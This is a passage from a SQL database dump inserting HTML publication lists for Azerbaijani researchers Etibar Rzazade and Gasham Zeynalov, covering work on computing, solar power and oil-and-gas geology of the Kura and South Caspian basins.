width=\"31\"><p>9.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p>Controlling system for emotional state of working personnel</p></td><td width=\"91\"><p>Conference Proceedings</p></td><td width=\"95\"><p>N.A. Safarov&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;E.M.Rzazadeh&nbsp;&nbsp;&nbsp;&nbsp;I.Q. Aliev&nbsp;&nbsp;H.G.Hassanov</p></td><td width=\"102\"><p>Lefkosa, TR Northern Cyprus</p><p>&nbsp;</p></td><td width=\"60\"><p>2011</p></td><td width=\"60\"><p>in processing</p></td></tr><tr><td width=\"31\"><p>10.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p>Mod of thought and computing cognitition</p></td><td width=\"91\"><p>Journal articles</p></td><td width=\"95\"><p>E.M.Rzazadeh&nbsp;&nbsp;&nbsp;&nbsp;</p></td><td width=\"102\"><p>Baku,&nbsp;Azerbaijan,Philosophy and social-political sciences</p></td><td width=\"60\"><p>2004</p></td><td width=\"60\"><p>p.84-94</p></td></tr><tr><td width=\"31\"><p>11.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p>Компьютерное мышление и программирование</p></td><td width=\"91\"><p>Journal articles</p></td><td width=\"95\"><p>КR.M.Osmanzade,E.M.Rzazadeh&nbsp;&nbsp;&nbsp;&nbsp;</p></td><td width=\"102\"><p>Baku,&nbsp;&nbsp;Azerbaijan, “Философия и миропознание”</p></td><td width=\"60\"><p>2005</p></td><td width=\"60\"><p>102-12</p></td></tr></tbody></table>  <br></div>'),(1531,957,'az','Etibar Rzazade','Etibar Rzazade','<div><br></div><div><table cellspacing=\"0\" cellpadding=\"0\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><tbody><tr><td><p>#</p></td><td width=\"167\"><p><strong>Title of publication</strong><strong>&nbsp;</strong></p></td><td width=\"91\"><p><strong>Publications type/publication activities</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"95\"><p><strong>All Authors</strong><strong>&nbsp;</strong></p></td><td width=\"102\"><p><strong>Publisher &amp; Place of&nbsp;&nbsp;Publication</strong><strong>&nbsp;</strong></p></td><td width=\"60\"><p><strong>Year Published</strong><strong></strong></p></td><td width=\"60\"><p><strong>Vol. &amp; Pages</strong><strong></strong></p></td></tr><tr><td width=\"31\"><p>1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p>Introduction to computer science</p></td><td width=\"91\"><p>Book</p></td><td width=\"95\"><p>Rzazade E.M.&nbsp;&nbsp;L.G. Muradkhanova</p></td><td width=\"102\"><p>Baku,Khazar University Press</p></td><td width=\"60\"><p>2001</p></td><td width=\"60\"><p>155</p></td></tr><tr><td width=\"31\"><p>2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p>Компьютерная Глобалистика</p></td><td width=\"91\"><p>Book</p></td><td width=\"95\"><p>R.M.Osmanzade ,Rzazade E.M.&nbsp;</p></td><td width=\"102\"><p>Baku, Azerbaijan</p></td><td width=\"60\"><p>2005</p></td><td width=\"60\"><p>227</p></td></tr><tr><td width=\"31\"><p>3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p>Глобализация и энергия</p></td><td width=\"91\"><p>Book</p></td><td width=\"95\"><p>F/Aliyev, R/ Osmanzade,&nbsp;Rzazade E.M.&nbsp;</p></td><td width=\"102\"><p>Baku, Azerbaijan</p></td><td width=\"60\"><p>2005</p></td><td width=\"60\"><p>64</p></td></tr><tr><td width=\"31\"><p>4.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p>Лепестки (сборник)</p></td><td width=\"91\"><p>Book(as editor)</p></td><td width=\"95\"><p>I.Q. Aliyev</p></td><td width=\"102\"><p>Perm, Russia</p></td><td width=\"60\"><p>2009</p></td><td width=\"60\"><p>111</p></td></tr><tr><td width=\"31\"><p>5.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p>Computer network,&nbsp;gathering and analysis of ecoenergetic parameters of&nbsp;Azerbaijan Republic</p></td><td width=\"91\"><p>Conference Proceedings</p></td><td width=\"95\"><p>Aliev F.G.</p><p>N.A. Safarov</p><p>Rzazade E.M.&nbsp;</p></td><td width=\"102\"><p>Baku,&nbsp;&nbsp;Azerbaijan,<strong></strong></p></td><td width=\"60\"><p>2005<strong></strong></p></td><td width=\"60\"><p>p. 202-206&nbsp;&nbsp;<strong></strong></p></td></tr><tr><td width=\"31\"><p>6.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p>Monitoring of intensity of electromagnetic radiation</p></td><td width=\"91\"><p>Conference Proceedings</p></td><td width=\"95\"><p>E.M.Rzazadeh&nbsp;N.A. Safarov</p><p>&nbsp;</p></td><td width=\"102\"><p><strong>Ankara</strong><strong>, Turkey</strong><strong>,</strong></p></td><td width=\"60\"><p><strong>2006</strong></p></td><td width=\"60\"><p><strong>p.687-689</strong></p></td></tr><tr><td width=\"31\"><p>7.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p>Heliostat sahəli günəş fotoelektrik stansiyasının ümumi maya dəyəri haqqında</p></td><td width=\"91\"><p>Journal articles</p></td><td width=\"95\"><p>N.A. Safarov</p><p>E.M.Rzazadə</p><p>İ.Q.Əliyev</p></td><td width=\"102\"><p>Baku,&nbsp;Azerbaijan,Fizika&nbsp;I.</p></td><td width=\"60\"><p>2008</p></td><td width=\"60\"><p>C.&nbsp;ХIV&nbsp;№3,&nbsp;s..85-87</p></td></tr><tr><td width=\"31\"><p>8.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p>Basic construction for solar power plants.</p></td><td width=\"91\"><p>Conference Proceedings</p></td><td width=\"95\"><p>F.G.Aliev, E.M.Rzazadeh, N.A.Safarov, I.Q.Aliev, N.N.Mursakulov</p></td><td width=\"102\"><p>Baku</p></td><td width=\"60\"><p>2009</p></td><td width=\"60\"><p>p.93-96</p></td></tr><tr><td width=\"31\"><p>9.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p>Controlling system for emotional state of working personnel</p></td><td width=\"91\"><p>Conference Proceedings</p></td><td width=\"95\"><p>N.A. Safarov&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;E.M.Rzazadeh&nbsp;&nbsp;&nbsp;&nbsp;I.Q. Aliev&nbsp;&nbsp;H.G.Hassanov</p></td><td width=\"102\"><p>Lefkosa, TR Northern Cyprus</p><p>&nbsp;</p></td><td width=\"60\"><p>2011</p></td><td width=\"60\"><p>in processing</p></td></tr><tr><td width=\"31\"><p>10.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p>Mod of thought and computing cognitition</p></td><td width=\"91\"><p>Journal articles</p></td><td width=\"95\"><p>E.M.Rzazadeh&nbsp;&nbsp;&nbsp;&nbsp;</p></td><td width=\"102\"><p>Baku,&nbsp;Azerbaijan,Philosophy and social-political sciences</p></td><td width=\"60\"><p>2004</p></td><td width=\"60\"><p>p.84-94</p></td></tr><tr><td width=\"31\"><p>11.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;</strong></p></td><td width=\"167\"><p>Компьютерное мышление и программирование</p></td><td width=\"91\"><p>Journal articles</p></td><td width=\"95\"><p>КR.M.Osmanzade,E.M.Rzazadeh&nbsp;&nbsp;&nbsp;&nbsp;</p></td><td width=\"102\"><p>Baku,&nbsp;&nbsp;Azerbaijan, “Философия и миропознание”</p></td><td width=\"60\"><p>2005</p></td><td width=\"60\"><p>102-12</p></td></tr></tbody></table>  <br></div>');
INSERT INTO `articles_translate` (`id`, `articles_id`, `language`, `name`, `summary`, `body`) VALUES (1532,958,'az','Gasham Zeynalov','Gasham Zeynalov','<div><br></div><div><table cellspacing=\"0\" cellpadding=\"0\" width=\"613\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><tbody><tr><td width=\"31\"><p>#</p></td><td width=\"167\"><p><strong>Title of publication</strong><strong>&nbsp;</strong></p></td><td colspan=\"2\" width=\"97\"><p><strong>Publications type/publication activities</strong></p><p><strong>&nbsp;</strong></p></td><td colspan=\"3\" width=\"108\"><p><strong>All Authors</strong><strong>&nbsp;</strong></p></td><td width=\"108\"><p><strong>Publisher &amp; Place of&nbsp; Publication</strong><strong>&nbsp;</strong></p></td><td width=\"48\"><p><strong>Year Published</strong><strong>&nbsp;</strong></p></td><td colspan=\"3\" width=\"54\"><p><strong>Vol. &amp; Pages</strong><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Neotectonics of the Caucasus and Kura Valley, Azerbaijan&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p><p>&nbsp;</p></td><td colspan=\"2\" width=\"97\"><p>&nbsp;</p><p>Journal</p><p>Article</p></td><td colspan=\"3\" width=\"108\"><p>M.Nemčok,</p><p>A.A. Feyzulayev, F.A. Kadirov, G.A. Zeynalov,</p><p>R. Allen, C. Christensen and B.Welker</p><p>&nbsp;</p></td><td width=\"108\"><p>“Tectono-physics”</p><p>Amsterdam,</p><p>Netherlands</p><p><strong>&nbsp;</strong></p></td><td width=\"48\"><p>in</p><p>press</p><p>&nbsp;</p></td><td colspan=\"3\" width=\"54\"><p>23 pages</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>On pyrolysis-based study of the efficiency of primary migration of hydrocarbons from source rocks</p><p>(in russian)</p></td><td colspan=\"2\" width=\"97\"><p>Journal</p><p>Article</p></td><td colspan=\"3\" width=\"108\"><p>M.F. Tagiyev and&nbsp; G.A.</p><p>Zeynalov</p></td><td width=\"108\"><p>“Proceedings of SOCAR”</p><p>Baku, Azerbaijan</p><p>&nbsp;</p></td><td width=\"48\"><p>&nbsp;</p><p>2010</p></td><td colspan=\"3\" width=\"54\"><p>No2 &amp; pp.</p><p>16-19</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Oil and gas accumulation environments of the Kura Basin, concerning with geotectonic conditions.</p></td><td colspan=\"2\" width=\"97\"><p>Conference</p><p>Proceedings</p></td><td colspan=\"3\" width=\"108\"><p>Zeynalov, G.A.</p></td><td width=\"108\"><p>“Abstracts of the VII Azerbaijan International Geophysical Conference” Baku, Azerbaijan</p></td><td width=\"48\"><p>2010</p></td><td colspan=\"3\" width=\"54\"><p>p.93</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Oil-gas bearing of the Suleyman-Akhtarma area, Azerbaijan. Geophysics News in Azerbaijan,</p></td><td colspan=\"2\" width=\"97\"><p>Journal</p><p>Article</p></td><td colspan=\"3\" width=\"108\"><p>Sh.S. Kocharly, A.M. Ahmadov, &amp; G.A.</p><p>Zeynalov</p></td><td width=\"108\"><p>Geophysics News in Azerbaijan</p></td><td width=\"48\"><p>2009</p></td><td colspan=\"3\" width=\"54\"><p>No1-2, pp.</p><p>44-47</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>&nbsp;</strong>Fluid flow and sealing properties associated with active faults: Kura&nbsp; Basin, Azerbaijan<strong>&nbsp;</strong></p><p><strong>&nbsp;</strong></p><p><strong>&nbsp;</strong></p></td><td colspan=\"2\" width=\"97\"><p>Conference</p><p>Proceedings</p></td><td colspan=\"3\" width=\"108\"><p>Zeynalov, G.A.</p></td><td width=\"108\"><p>“Extended Abstracts of EAGE &amp; AAPG International Conference on Petroleum Geology &amp; Hydrocarbon Potential”</p><p>Baku Azerb.&nbsp;</p></td><td width=\"48\"><p>2008</p></td><td colspan=\"3\" width=\"54\"><p>pp.</p><p>14-17</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Structural-geologic evolution of the western flank of the South Caspian Basin. (in Russian).</p></td><td colspan=\"2\" width=\"97\"><p>Conference</p><p>Proceedings</p></td><td colspan=\"3\" width=\"108\"><p>Zeynalov, G.A.</p></td><td width=\"108\"><p>“Extended Abstracts of the Second International Conference on Geodynamics of Oil and Gas Content Basins”, Moscow, Russia</p></td><td width=\"48\"><p>2006</p></td><td colspan=\"3\" width=\"54\"><p>pp.</p><p>168-171</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>&nbsp;Oil and gas prospective in&nbsp; southern-west flank structures of the Gabyrry- Ajinohur basin (in azeri)</p></td><td colspan=\"2\" width=\"97\"><p>Journal</p><p>Article</p></td><td colspan=\"3\" width=\"108\"><p>Zeynalov, G.A. and Khanlarova Sh.H.</p></td><td width=\"108\"><p>“Reports of&nbsp; GSRI” Baku,</p><p>Azerbaijan</p><p>&nbsp;</p></td><td width=\"48\"><p>2006</p></td><td colspan=\"3\" width=\"54\"><p>pp.</p><p>17-22</p></td></tr><tr><td width=\"31\"><p><strong>8</strong></p></td><td width=\"167\"><p>Geologic Risk and Seismic Hazard Assessment in the&nbsp;</p><p>Southeastern Caucasus Using remote Sensing Data.<strong>&nbsp;</strong></p></td><td colspan=\"2\" width=\"97\"><p>Conference Proceedings</p></td><td colspan=\"3\" width=\"108\"><p>G.A.</p><p>Zeynalov and E.G.Frost</p></td><td width=\"108\"><p>“IAMG’05:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; GIS and Spatial Analysis” Toronto, Canada</p></td><td width=\"48\"><p>2005</p></td><td colspan=\"3\" width=\"54\"><p>Vol.1, pp.155-160</p></td></tr><tr><td width=\"31\"><p><strong>9</strong></p></td><td width=\"167\"><p>Analysis of structural architectures of Garadagh field and implications&nbsp; to reservoir performance , (in azeri)</p></td><td colspan=\"2\" width=\"97\"><p>Journal</p><p>Article</p></td><td colspan=\"3\" width=\"108\"><p>Zeynalov G.A.</p></td><td width=\"108\"><p>“Reports of&nbsp; GSRI” Baku,</p><p>Azerbaijan</p></td><td width=\"48\"><p>2005</p></td><td colspan=\"3\" width=\"54\"><p>pp.</p><p>21-24</p></td></tr><tr><td width=\"31\"><p><strong>10</strong></p></td><td width=\"167\"><p>Analysis of the results of geologic-geophysical investigations and evaluation of oil and gas content in Turkan field, onshore Azerbaijan</p></td><td colspan=\"2\" width=\"97\"><p>Journal</p><p>Article</p></td><td colspan=\"3\" width=\"108\"><p>Zeynalov G.A.</p></td><td width=\"108\"><p>“Reports of&nbsp; GSRI” Baku,</p><p>Azerbaijan</p></td><td width=\"48\"><p>2005</p></td><td colspan=\"3\" width=\"54\"><p>pp.</p><p>12-17</p></td></tr><tr><td width=\"31\"><p><strong>11</strong></p></td><td width=\"167\"><p>Analysis of the results of geologic-geophysical investigations and evaluation of oil and gas content in Turkan field, onshore (in Russian)</p><p>&nbsp;</p></td><td colspan=\"2\" width=\"97\"><p>Journal</p><p>Article</p></td><td colspan=\"3\" width=\"108\"><p>Zeynalov G.A</p></td><td width=\"108\"><p>“Reports of&nbsp; GSRI”</p><p>Azerbaijan</p></td><td width=\"48\"><p>2005</p></td><td colspan=\"3\" width=\"54\"><p>pp.</p><p>12-17</p></td></tr><tr><td width=\"31\"><p><strong>12</strong></p></td><td width=\"167\"><p>Active tectonics of the Kura Intermountain Basin and its relation with fluid flow<strong>&nbsp;</strong>(in russian)</p></td><td colspan=\"2\" width=\"97\"><p>Book chapter</p></td><td colspan=\"3\" width=\"108\"><p>Zeynalov, G.A.</p></td><td width=\"108\"><p>“Geology of Caspian and Aral Seas Regions”</p><p>Almaty, Kazakhstan</p></td><td width=\"48\"><p>2004</p></td><td colspan=\"3\" width=\"54\"><p>pp. 212-217</p></td></tr><tr><td width=\"31\"><p>13</p></td><td colspan=\"2\" width=\"168\"><p>Kura Intermountain Basin: Active Tectonics and Regularities of Distribution of Hydrocarbon Accumulations (in Russian)</p></td><td width=\"96\"><p>Journal</p><p>Article</p></td><td colspan=\"2\" width=\"96\"><p>Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\"><p>“Oil and Gas Geology”</p><p>Moscow, Russia,</p></td><td width=\"48\"><p>2004</p></td><td colspan=\"2\" width=\"48\"><p>No 6, pp.</p><p>34-38</p></td><td width=\"6\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>14</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p></td><td colspan=\"2\" width=\"168\"><p>Kura Intermountain Basin: occurrence of oil and gas seeps and environment of hydrocarbon accumulations (in Russian).</p></td><td width=\"96\"><p>Conference</p><p>Proceedings</p></td><td colspan=\"2\" width=\"96\"><p>Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\"><p>“Extended Abstracts of the Seventh International Conference devoted to 250th Anniversary of Moscow University, New Ideas in Geology and Geochemistry of oil and gas” Moscow ,GEOS, Russia</p></td><td width=\"48\"><p>2004</p></td><td colspan=\"2\" width=\"48\"><p>pp.</p><p>191-192</p></td><td width=\"6\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>&nbsp;</p><p>15</p></td><td colspan=\"2\" width=\"168\"><p>Fault Sealing and Hydrocarbon Occurrence in the Kura Valley, Azerbaijan, ,</p></td><td width=\"96\"><p>Congress Proceedings</p></td><td colspan=\"2\" width=\"96\"><p>Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\"><p>Abstracts of the 32nd International Geological Congress, Florence, Italy</p></td><td width=\"48\"><p>2004</p></td><td colspan=\"2\" width=\"48\"><p>(part1) p.</p><p>697</p></td><td width=\"6\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>16</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p></td><td colspan=\"2\" width=\"168\"><p>Interrelation between oil seeps, faults and hydrocarbon reserves in Azerbaijan</p></td><td width=\"96\"><p>Conference</p><p>Proceedings</p></td><td colspan=\"2\" width=\"96\"><p>Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\"><p>“Extended Abstracts of the 5th EAGE and AGEO International Conference “Crimea-2003”, Problems of Geodynamics and Oil-gas Content of the Black Sea and Caspian Regions” Crimea, Symferopol, Ukraine</p></td><td width=\"48\"><p>2003</p></td><td colspan=\"2\" width=\"48\"><p>pp.</p><p>192-195</p></td><td width=\"6\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>17</p></td><td colspan=\"2\" width=\"168\"><p>Analysis of Fluvial depositional environment in western coast of the South Caspian Basin using Landsat data</p><p>&nbsp;</p></td><td width=\"96\"><p>Conference</p><p>Proceedings</p></td><td colspan=\"2\" width=\"96\"><p>Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\"><p>Proceedings of the Fifth International Airborne Remote Sensing Conference and Exhibition San Francisco, USA</p></td><td width=\"48\"><p>2001</p></td><td colspan=\"2\" width=\"48\"><p>Vol.I&nbsp; pp.</p><p>383-386</p></td><td width=\"6\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>18</p></td><td colspan=\"2\" width=\"168\"><p>Application remote sensing technology for monitoring of the mud volcano activity in coastal region of the South Caspian Basin</p></td><td width=\"96\"><p>Conference</p><p>Proceedings</p></td><td colspan=\"2\" width=\"96\"><p>Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\"><p>“Proceedings of the Seventh International Conference on Remote Sensing for Marine and Coastal Environments</p><p>Miami, USA</p></td><td width=\"48\"><p>2002</p></td><td colspan=\"2\" width=\"48\"><p>Vol.I</p><p>pp.</p><p>327-329&nbsp;</p></td><td width=\"6\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>19</p></td><td colspan=\"2\" width=\"168\"><p>Geologic significance of Landsat data for oil exploration in Azerbaijan</p><p>&nbsp;</p></td><td width=\"96\"><p>Journal</p><p>Article</p></td><td colspan=\"2\" width=\"96\"><p>Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\"><p>“Proceedings of the Fourteenth International Conference on Applied Geologic Remote Sensing”</p><p>&nbsp;ERIM International. Las Vegas, USA</p></td><td width=\"48\"><p>2000</p></td><td colspan=\"2\" width=\"48\"><p>pp.</p><p>212-219</p></td><td width=\"6\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>20</p></td><td width=\"167\"><p>Importance of Remote Sensing data in Structural Geologic Analysis of Oil- and Gas-Bearing Regions of Azerbaijan</p></td><td colspan=\"2\" width=\"97\"><p>Journal</p><p>Article</p></td><td width=\"95\"><p>Zeynalov, G.A.</p></td><td colspan=\"3\" width=\"121\"><p>“Natural Resources Research”</p><p>Kluwer Academic Publishers USA</p></td><td width=\"48\"><p>2000</p></td><td width=\"47\"><p>Vol. 9, No 4, pp.</p><p>307-314.</p><p>&nbsp;</p></td><td colspan=\"2\" width=\"7\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>21</p></td><td colspan=\"2\" width=\"168\"><p>Influences of Faults to formation and Oil Accumulation Zones in the Kura basin</p></td><td width=\"96\"><p>Conference Proceedings</p></td><td colspan=\"2\" width=\"96\"><p>Zeynalov, G.A.</p><p>&nbsp;</p></td><td colspan=\"2\" width=\"120\"><p>“Extended Abstracts of the 62nd EAGE Conference &amp; Technical Exhibition” SECC, Glasgow, UK</p></td><td width=\"48\"><p>2000</p></td><td colspan=\"2\" width=\"48\"><p>Vol. I, p.</p><p>171-176.</p></td><td width=\"6\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>22</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p></td><td colspan=\"2\" width=\"168\"><p>Habitat of mud volcanoes and petroleum seepage in Azerbaijan</p><p>&nbsp;</p></td><td width=\"96\"><p>Conference</p><p>Proceedings</p></td><td colspan=\"2\" width=\"96\"><p>Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\"><p>“Extended Abstracts of EAGE Conference on Geology and Petroleum Geology of the Mediter-ranean and Circum-Mediterranean Basins” St.Julians, Malta</p></td><td width=\"48\"><p>2000</p></td><td colspan=\"2\" width=\"48\"><p>pp.</p><p>131-135</p></td><td width=\"6\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>23</p></td><td colspan=\"2\" width=\"168\"><p>Fault-block structure and fluid flow of the Kura basin, Azerbaijan</p></td><td width=\"96\"><p>Conference</p><p>Proceedings</p></td><td colspan=\"2\" width=\"96\"><p>Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\"><p>“Extended Abstracts of EAGE Conference on Geology and Petroleum Geology of the Mediterranean and Circum-Mediterranean Basins” St.Julians, Malta</p></td><td width=\"48\"><p>2000</p></td><td colspan=\"2\" width=\"48\"><p>p.</p><p>145-148</p></td><td width=\"6\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>24</p></td><td colspan=\"2\" width=\"168\"><p>New data on the tectonics of the Western Coast of South Caspian Basin from analysis of SPOT and Landsat-TM images.</p><p>&nbsp;</p></td><td width=\"96\"><p>Conference</p><p>Proceedings</p></td><td colspan=\"2\" width=\"96\"><p>Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\"><p>“Proceedings of the Sixth International Conference on Remote Sensing for Marine and Coastal Environment” Charleston,USA</p></td><td width=\"48\"><p>2000</p></td><td colspan=\"2\" width=\"48\"><p>Vol. II, p.</p><p>458</p></td><td width=\"6\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>25</p></td><td colspan=\"2\" width=\"168\"><p>Fault tectonics and formations of oil and gas pools in the East Azerbaijan from analysis of SPOT/Landsat images.,</p></td><td width=\"96\"><p>Conference</p><p>Proceedings</p></td><td colspan=\"2\" width=\"96\"><p>Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\"><p>“AAPG’s Inaugural Regional International Conference” Istanbul, Turkey</p></td><td width=\"48\"><p>2000</p></td><td colspan=\"2\" 